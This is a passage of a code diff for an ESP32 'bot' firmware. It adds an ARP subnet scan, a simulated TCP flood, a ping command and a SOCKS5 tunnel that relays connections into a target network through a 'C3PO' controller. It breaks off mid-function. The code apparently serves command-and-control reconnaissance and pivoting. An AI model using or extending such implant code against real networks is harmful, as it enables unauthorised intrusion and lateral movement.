{ "tun_start", NULL, "Start tunnel: tun_start <ip> <port>", 2, 2, cmd_tun_start, NULL, true },
|
||||
{ "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false },
|
||||
{ "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false },
|
||||
#endif
|
||||
};
|
||||
|
||||
void mod_network_register_commands(void)
|
||||
{
|
||||
for (size_t i = 0;
|
||||
i < sizeof(network_cmds) / sizeof(network_cmds[0]);
|
||||
i++) {
|
||||
command_register(&network_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
3
espilon_bot/components/mod_network/cmd_network.h
Normal file
3
espilon_bot/components/mod_network/cmd_network.h
Normal file
@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
void mod_network_register_commands(void);
|
||||
162
espilon_bot/components/mod_network/mod_arp.c
Normal file
162
espilon_bot/components/mod_network/mod_arp.c
Normal file
@ -0,0 +1,162 @@
|
||||
/*
|
||||
* Eun0us - ARP Scan Module
|
||||
* Stream-based local network discovery
|
||||
*/
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_netif.h"
|
||||
#include "esp_netif_net_stack.h"
|
||||
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include "lwip/etharp.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "ARP_SCAN"
|
||||
#define ARP_TIMEOUT_MS 1500
|
||||
#define ARP_BATCH_SIZE 16
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Convert little/big endian safely */
|
||||
static uint32_t swap_u32(uint32_t v)
|
||||
{
|
||||
return ((v & 0xFF000000U) >> 24) |
|
||||
((v & 0x00FF0000U) >> 8) |
|
||||
((v & 0x0000FF00U) << 8) |
|
||||
((v & 0x000000FFU) << 24);
|
||||
}
|
||||
|
||||
static void next_ip(esp_ip4_addr_t *ip)
|
||||
{
|
||||
esp_ip4_addr_t tmp;
|
||||
tmp.addr = swap_u32(ip->addr);
|
||||
tmp.addr++;
|
||||
ip->addr = swap_u32(tmp.addr);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ARP scan task
|
||||
* pvParameters = heap-allocated request_id string (or NULL)
|
||||
* ============================================================ */
|
||||
|
||||
void arp_scan_task(void *pvParameters)
|
||||
{
|
||||
char *req = (char *)pvParameters;
|
||||
|
||||
ESP_LOGI(TAG, "ARP scan started (req=%s)", req ? req : "none");
|
||||
|
||||
esp_netif_t *netif_handle =
|
||||
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
|
||||
if (!netif_handle) {
|
||||
msg_error(TAG, "wifi netif not found", req);
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
struct netif *lwip_netif =
|
||||
esp_netif_get_netif_impl(netif_handle);
|
||||
if (!lwip_netif) {
|
||||
msg_error(TAG, "lwIP netif not found", req);
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_ip_info_t ip_info;
|
||||
esp_netif_get_ip_info(netif_handle, &ip_info);
|
||||
|
||||
/* Compute network range */
|
||||
esp_ip4_addr_t start_ip;
|
||||
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t end_ip;
|
||||
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
|
||||
|
||||
esp_ip4_addr_t cur_ip = start_ip;
|
||||
|
||||
char ip_str[IP4ADDR_STRLEN_MAX];
|
||||
char json[128];
|
||||
|
||||
while (cur_ip.addr != end_ip.addr) {
|
||||
|
||||
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
|
||||
int batch_count = 0;
|
||||
|
||||
/* Send ARP requests */
|
||||
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
|
||||
next_ip(&cur_ip);
|
||||
if (cur_ip.addr == end_ip.addr)
|
||||
break;
|
||||
|
||||
etharp_request(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&cur_ip
|
||||
);
|
||||
|
||||
batch[batch_count++] = cur_ip;
|
||||
}
|
||||
|
||||
/* Wait for replies */
|
||||
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
|
||||
|
||||
/* Collect results */
|
||||
for (int i = 0; i < batch_count; i++) {
|
||||
struct eth_addr *mac = NULL;
|
||||
const ip4_addr_t *ip_ret = NULL;
|
||||
|
||||
if (etharp_find_addr(
|
||||
lwip_netif,
|
||||
(const ip4_addr_t *)&batch[i],
|
||||
&mac,
|
||||
&ip_ret
|
||||
) >= 0 && mac) {
|
||||
|
||||
esp_ip4addr_ntoa(
|
||||
&batch[i],
|
||||
ip_str,
|
||||
sizeof(ip_str)
|
||||
);
|
||||
|
||||
int len = snprintf(
|
||||
json,
|
||||
sizeof(json),
|
||||
"{"
|
||||
"\"ip\":\"%s\","
|
||||
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
|
||||
"}",
|
||||
ip_str,
|
||||
mac->addr[0], mac->addr[1], mac->addr[2],
|
||||
mac->addr[3], mac->addr[4], mac->addr[5]
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(
|
||||
TAG,
|
||||
json,
|
||||
len,
|
||||
false,
|
||||
req
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Final message closes the stream (eof=true) */
|
||||
const char *done = "ARP scan completed";
|
||||
msg_data(TAG, done, strlen(done), true, req);
|
||||
|
||||
free(req);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
102
espilon_bot/components/mod_network/mod_dos.c
Normal file
102
espilon_bot/components/mod_network/mod_dos.c
Normal file
@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Eun0us - TCP Flood Simulation Module
|
||||
* Stream-based, non-destructive (simulation only)
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "MODULE_TCP_FLOOD"
|
||||
|
||||
/* ============================================================
|
||||
* Configuration (SIMULATION)
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
char ip[16];
|
||||
uint16_t port;
|
||||
int count;
|
||||
} flood_config_t;
|
||||
|
||||
/* ============================================================
|
||||
* Simulated flood task (NO NETWORK)
|
||||
* ============================================================ */
|
||||
static void flood_sim_task(void *param)
|
||||
{
|
||||
flood_config_t *cfg = (flood_config_t *)param;
|
||||
|
||||
msg_info(TAG, "Starting TCP flood simulation", NULL);
|
||||
|
||||
for (int i = 0; i < cfg->count; i++) {
|
||||
|
||||
char line[96];
|
||||
int len = snprintf(
|
||||
line,
|
||||
sizeof(line),
|
||||
"SIM SYN -> %s:%u (%d/%d)",
|
||||
cfg->ip,
|
||||
cfg->port,
|
||||
i + 1,
|
||||
cfg->count
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(
|
||||
TAG,
|
||||
line,
|
||||
strlen(line),
|
||||
false,
|
||||
NULL);
|
||||
|
||||
}
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(5));
|
||||
}
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
msg_info(TAG, "TCP flood simulation completed", NULL);
|
||||
|
||||
free(cfg);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API (called by command)
|
||||
* ============================================================ */
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int count)
|
||||
{
|
||||
if (!t_ip || count <= 0 || count > 10000) {
|
||||
msg_error(TAG, "invalid parameters (count 1-10000)", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
flood_config_t *cfg = malloc(sizeof(flood_config_t));
|
||||
if (!cfg) {
|
||||
msg_error(TAG, "memory allocation failed", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
strncpy(cfg->ip, t_ip, sizeof(cfg->ip) - 1);
|
||||
cfg->ip[sizeof(cfg->ip) - 1] = '\0';
|
||||
cfg->port = t_port;
|
||||
cfg->count = count;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
flood_sim_task,
|
||||
"tcp_flood_sim",
|
||||
4096,
|
||||
cfg,
|
||||
5,
|
||||
NULL,
|
||||
1
|
||||
);
|
||||
}
|
||||
|
||||
197
espilon_bot/components/mod_network/mod_ping.c
Normal file
197
espilon_bot/components/mod_network/mod_ping.c
Normal file
@ -0,0 +1,197 @@
|
||||
/*
|
||||
* Eun0us - ICMP Ping Module
|
||||
* Clean & stream-based implementation
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "lwip/inet.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "esp_log.h"
|
||||
#include "ping/ping_sock.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PING"
|
||||
|
||||
/* Context passed to ping callbacks via cb_args */
|
||||
typedef struct {
|
||||
char req[64]; /* request_id copy (empty string if none) */
|
||||
} ping_ctx_t;
|
||||
|
||||
/* ============================================================
|
||||
* Ping callbacks
|
||||
* ============================================================ */
|
||||
|
||||
static void ping_on_success(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
char line[256];
|
||||
|
||||
uint8_t ttl;
|
||||
uint16_t seq;
|
||||
uint32_t time_ms, size;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
|
||||
(unsigned long)size,
|
||||
ipaddr_ntoa(&addr),
|
||||
seq,
|
||||
ttl,
|
||||
(unsigned long)time_ms
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, req);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
char line[256];
|
||||
|
||||
uint16_t seq;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"From %s: icmp_seq=%u timeout",
|
||||
ipaddr_ntoa(&addr),
|
||||
seq
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, req);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_end(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
ping_ctx_t *ctx = (ping_ctx_t *)args;
|
||||
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
|
||||
|
||||
uint32_t sent, recv, duration;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
|
||||
|
||||
char line[256];
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"--- %s ping statistics ---\n"
|
||||
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
|
||||
ipaddr_ntoa(&addr),
|
||||
(unsigned long)sent,
|
||||
(unsigned long)recv,
|
||||
loss,
|
||||
(unsigned long)duration
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, true, req);
|
||||
}
|
||||
|
||||
esp_ping_delete_session(hdl);
|
||||
free(ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command entry point
|
||||
* ============================================================ */
|
||||
|
||||
int do_ping_cmd(int argc, char **argv, const char *req)
|
||||
{
|
||||
if (argc < 1) {
|
||||
msg_error(TAG,
|
||||
"usage: ping <host> [timeout interval size count ttl iface]",
|
||||
req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
|
||||
cfg.count = 4;
|
||||
cfg.timeout_ms = 1000;
|
||||
cfg.task_stack_size = 8192; /* default 2048 too small for msg_data→protobuf stack */
|
||||
|
||||
const char *host = argv[0];
|
||||
|
||||
/* Optional arguments */
|
||||
if (argc > 1) cfg.timeout_ms = atoi(argv[1]) * 1000;
|
||||
if (argc > 2) cfg.interval_ms = (uint32_t)(atof(argv[2]) * 1000);
|
||||
if (argc > 3) cfg.data_size = atoi(argv[3]);
|
||||
if (argc > 4) cfg.count = atoi(argv[4]);
|
||||
if (argc > 5) cfg.tos = atoi(argv[5]);
|
||||
if (argc > 6) cfg.ttl = atoi(argv[6]);
|
||||
|
||||
/* Resolve host */
|
||||
ip_addr_t target;
|
||||
memset(&target, 0, sizeof(target));
|
||||
|
||||
if (!ipaddr_aton(host, &target)) {
|
||||
struct addrinfo *res = NULL;
|
||||
|
||||
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
|
||||
msg_error(TAG, "unknown host", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV4
|
||||
if (res->ai_family == AF_INET) {
|
||||
inet_addr_to_ip4addr(
|
||||
ip_2_ip4(&target),
|
||||
&((struct sockaddr_in *)res->ai_addr)->sin_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV6
|
||||
if (res->ai_family == AF_INET6) {
|
||||
inet6_addr_to_ip6addr(
|
||||
ip_2_ip6(&target),
|
||||
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
|
||||
cfg.target_addr = target;
|
||||
|
||||
/* Heap-allocate context for callbacks (freed in ping_on_end) */
|
||||
ping_ctx_t *ctx = calloc(1, sizeof(ping_ctx_t));
|
||||
if (ctx && req) {
|
||||
snprintf(ctx->req, sizeof(ctx->req), "%s", req);
|
||||
}
|
||||
|
||||
esp_ping_callbacks_t cbs = {
|
||||
.on_ping_success = ping_on_success,
|
||||
.on_ping_timeout = ping_on_timeout,
|
||||
.on_ping_end = ping_on_end,
|
||||
.cb_args = ctx
|
||||
};
|
||||
|
||||
esp_ping_handle_t ping;
|
||||
esp_ping_new_session(&cfg, &cbs, &ping);
|
||||
esp_ping_start(ping);
|
||||
|
||||
return 0;
|
||||
}
|
||||
11
espilon_bot/components/mod_network/net_utils.h
Normal file
11
espilon_bot/components/mod_network/net_utils.h
Normal file
@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
// dos.c
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int turn);
|
||||
|
||||
// arp.c
|
||||
void arp_scan_task(void *pvParameters);
|
||||
|
||||
// ping.c
|
||||
int do_ping_cmd(int argc, char **argv, const char *req);
|
||||
795
espilon_bot/components/mod_network/tun_core.c
Normal file
795
espilon_bot/components/mod_network/tun_core.c
Normal file
@ -0,0 +1,795 @@
|
||||
/*
|
||||
* tun_core.c – SOCKS5 Tunnel Engine
|
||||
* Multiplexed binary-framed TCP proxy via C3PO.
|
||||
* Replaces the old mod_proxy single-shot relay.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/select.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "tun_core.h"
|
||||
|
||||
#define TAG "TUNNEL"
|
||||
|
||||
/* ============================================================
|
||||
* Global state
|
||||
* ============================================================ */
|
||||
|
||||
static tun_state_t g_tun = {
|
||||
.running = false,
|
||||
.encrypted = false,
|
||||
.c3po_sock = -1,
|
||||
.rx_buf_len = 0,
|
||||
.task_handle = NULL,
|
||||
.last_ping_tick = 0,
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Socket helpers
|
||||
* ============================================================ */
|
||||
|
||||
static bool send_all(int sock, const void *buf, size_t len)
|
||||
{
|
||||
const uint8_t *p = (const uint8_t *)buf;
|
||||
while (len > 0) {
|
||||
int sent = send(sock, p, len, 0);
|
||||
if (sent <= 0) return false;
|
||||
p += sent;
|
||||
len -= sent;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static int recv_exact(int sock, void *buf, size_t len, int timeout_s)
|
||||
{
|
||||
struct timeval tv = { .tv_sec = timeout_s, .tv_usec = 0 };
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
uint8_t *p = (uint8_t *)buf;
|
||||
size_t remaining = len;
|
||||
while (remaining > 0) {
|
||||
int n = recv(sock, p, remaining, 0);
|
||||
if (n <= 0) return -1;
|
||||
p += n;
|
||||
remaining -= n;
|
||||
}
|
||||
return (int)len;
|
||||
}
|
||||
|
||||
static bool set_nonblocking(int sock)
|
||||
{
|
||||
int flags = fcntl(sock, F_GETFL, 0);
|
||||
if (flags < 0) return false;
|
||||
return fcntl(sock, F_SETFL, flags | O_NONBLOCK) == 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Frame I/O
|
||||
* ============================================================ */
|
||||
|
||||
static bool tun_send_frame(uint16_t chan_id, tun_frame_type_t type,
|
||||
const uint8_t *data, uint16_t data_len)
|
||||
{
|
||||
if (g_tun.c3po_sock < 0) return false;
|
||||
|
||||
uint8_t hdr[TUN_FRAME_HDR_SIZE];
|
||||
hdr[0] = (chan_id >> 8) & 0xFF;
|
||||
hdr[1] = chan_id & 0xFF;
|
||||
hdr[2] = (uint8_t)type;
|
||||
hdr[3] = (data_len >> 8) & 0xFF;
|
||||
hdr[4] = data_len & 0xFF;
|
||||
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
if (g_tun.encrypted) {
|
||||
/* Assemble plaintext frame */
|
||||
uint8_t plain[TUN_FRAME_MAX_PLAIN];
|
||||
memcpy(plain, hdr, TUN_FRAME_HDR_SIZE);
|
||||
if (data && data_len > 0) {
|
||||
memcpy(plain + TUN_FRAME_HDR_SIZE, data, data_len);
|
||||
}
|
||||
size_t plain_len = TUN_FRAME_HDR_SIZE + data_len;
|
||||
|
||||
/* Encrypt: nonce[12] || ciphertext || tag[16] */
|
||||
uint8_t enc[TUN_FRAME_MAX_ENC];
|
||||
int enc_len = crypto_encrypt(plain, plain_len,
|
||||
enc + 2, sizeof(enc) - 2);
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "frame encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Prepend 2-byte length */
|
||||
enc[0] = (enc_len >> 8) & 0xFF;
|
||||
enc[1] = enc_len & 0xFF;
|
||||
|
||||
return send_all(g_tun.c3po_sock, enc, 2 + enc_len);
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Plaintext: header + data */
|
||||
if (!send_all(g_tun.c3po_sock, hdr, TUN_FRAME_HDR_SIZE))
|
||||
return false;
|
||||
if (data && data_len > 0) {
|
||||
if (!send_all(g_tun.c3po_sock, data, data_len))
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Returns 0 on success, -1 on error, 1 if no complete frame yet */
|
||||
static int tun_read_frame(uint16_t *out_chan, tun_frame_type_t *out_type,
|
||||
uint8_t *out_data, uint16_t *out_len)
|
||||
{
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
if (g_tun.encrypted) {
|
||||
/* Need at least 2 bytes for length prefix */
|
||||
if (g_tun.rx_buf_len < 2) return 1;
|
||||
|
||||
uint16_t enc_len = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
|
||||
if (enc_len > TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) return -1;
|
||||
|
||||
size_t total = 2 + enc_len;
|
||||
if (g_tun.rx_buf_len < total) return 1;
|
||||
|
||||
/* Decrypt */
|
||||
uint8_t plain[TUN_FRAME_MAX_PLAIN];
|
||||
int plain_len = crypto_decrypt(g_tun.rx_buf + 2, enc_len,
|
||||
plain, sizeof(plain));
|
||||
if (plain_len < TUN_FRAME_HDR_SIZE) {
|
||||
/* Consume and discard bad frame */
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*out_chan = ((uint16_t)plain[0] << 8) | plain[1];
|
||||
*out_type = (tun_frame_type_t)plain[2];
|
||||
*out_len = ((uint16_t)plain[3] << 8) | plain[4];
|
||||
|
||||
if (*out_len > (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE))
|
||||
*out_len = (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE);
|
||||
|
||||
if (*out_len > 0)
|
||||
memcpy(out_data, plain + TUN_FRAME_HDR_SIZE, *out_len);
|
||||
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Plaintext: need at least 5-byte header */
|
||||
if (g_tun.rx_buf_len < TUN_FRAME_HDR_SIZE) return 1;
|
||||
|
||||
*out_chan = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
|
||||
*out_type = (tun_frame_type_t)g_tun.rx_buf[2];
|
||||
*out_len = ((uint16_t)g_tun.rx_buf[3] << 8) | g_tun.rx_buf[4];
|
||||
|
||||
if (*out_len > TUN_FRAME_MAX_DATA) return -1;
|
||||
|
||||
size_t total = TUN_FRAME_HDR_SIZE + *out_len;
|
||||
if (g_tun.rx_buf_len < total) return 1;
|
||||
|
||||
if (*out_len > 0)
|
||||
memcpy(out_data, g_tun.rx_buf + TUN_FRAME_HDR_SIZE, *out_len);
|
||||
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Channel management
|
||||
* ============================================================ */
|
||||
|
||||
static tun_channel_t *chan_get(uint16_t id)
|
||||
{
|
||||
if (id == 0 || id > TUN_MAX_CHANNELS) return NULL;
|
||||
return &g_tun.channels[id - 1];
|
||||
}
|
||||
|
||||
static void chan_close(uint16_t id, uint8_t reason)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(id);
|
||||
if (!ch || ch->state == CHAN_FREE) return;
|
||||
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
|
||||
/* Notify C3PO */
|
||||
tun_send_frame(id, TUN_FRAME_CLOSE, &reason, 1);
|
||||
|
||||
ESP_LOGI(TAG, "chan %u closed (reason=%u tx=%"PRIu32" rx=%"PRIu32")",
|
||||
id, reason, ch->bytes_tx, ch->bytes_rx);
|
||||
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
|
||||
static void chan_close_all(void)
|
||||
{
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (ch && ch->state != CHAN_FREE) {
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void chan_send_error(uint16_t id, const char *msg)
|
||||
{
|
||||
tun_send_frame(id, TUN_FRAME_ERROR,
|
||||
(const uint8_t *)msg, (uint16_t)strlen(msg));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Frame handlers
|
||||
* ============================================================ */
|
||||
|
||||
/* OPEN payload: [IPv4:4][port:2][domain_len:1][domain:0-255] */
|
||||
static void tun_handle_open(uint16_t chan_id, const uint8_t *data, uint16_t len)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch) {
|
||||
chan_send_error(chan_id, "invalid channel id");
|
||||
return;
|
||||
}
|
||||
if (ch->state != CHAN_FREE) {
|
||||
chan_send_error(chan_id, "channel in use");
|
||||
return;
|
||||
}
|
||||
if (len < 7) {
|
||||
chan_send_error(chan_id, "OPEN too short");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Parse target address */
|
||||
uint32_t ipv4_raw;
|
||||
memcpy(&ipv4_raw, data, 4);
|
||||
uint16_t port = ((uint16_t)data[4] << 8) | data[5];
|
||||
uint8_t domain_len = data[6];
|
||||
|
||||
struct sockaddr_in target = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
};
|
||||
|
||||
/* Try domain resolution first (ESP32-side, sees target network DNS) */
|
||||
if (domain_len > 0 && len >= (uint16_t)(7 + domain_len)) {
|
||||
char domain[256];
|
||||
memcpy(domain, data + 7, domain_len);
|
||||
domain[domain_len] = '\0';
|
||||
|
||||
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
|
||||
struct addrinfo *result = NULL;
|
||||
|
||||
ESP_LOGD(TAG, "chan %u resolving %s", chan_id, domain);
|
||||
|
||||
if (getaddrinfo(domain, NULL, &hints, &result) == 0 && result) {
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)result->ai_addr;
|
||||
target.sin_addr = addr->sin_addr;
|
||||
freeaddrinfo(result);
|
||||
} else {
|
||||
if (result) freeaddrinfo(result);
|
||||
/* Fallback to provided IPv4 */
|
||||
target.sin_addr.s_addr = ipv4_raw;
|
||||
}
|
||||
} else {
|
||||
target.sin_addr.s_addr = ipv4_raw;
|
||||
}
|
||||
|
||||
/* Create socket and start non-blocking connect */
|
||||
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (s < 0) {
|
||||
chan_send_error(chan_id, "socket() failed");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Set connect timeout */
|
||||
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
char ip_str[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &target.sin_addr, ip_str, sizeof(ip_str));
|
||||
ESP_LOGI(TAG, "chan %u connecting to %s:%u", chan_id, ip_str, port);
|
||||
|
||||
if (connect(s, (struct sockaddr *)&target, sizeof(target)) != 0) {
|
||||
ESP_LOGW(TAG, "chan %u connect failed: %s", chan_id, strerror(errno));
|
||||
close(s);
|
||||
chan_send_error(chan_id, "connect failed");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Set non-blocking after connect succeeds */
|
||||
set_nonblocking(s);
|
||||
|
||||
ch->sock = s;
|
||||
ch->state = CHAN_OPEN;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
|
||||
/* Send OPEN_OK */
|
||||
tun_send_frame(chan_id, TUN_FRAME_OPEN_OK, NULL, 0);
|
||||
ESP_LOGI(TAG, "chan %u opened -> %s:%u", chan_id, ip_str, port);
|
||||
}
|
||||
|
||||
static void tun_handle_data(uint16_t chan_id, const uint8_t *data, uint16_t len)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) return;
|
||||
|
||||
/* Temporarily set blocking for reliable send */
|
||||
int flags = fcntl(ch->sock, F_GETFL, 0);
|
||||
fcntl(ch->sock, F_SETFL, flags & ~O_NONBLOCK);
|
||||
|
||||
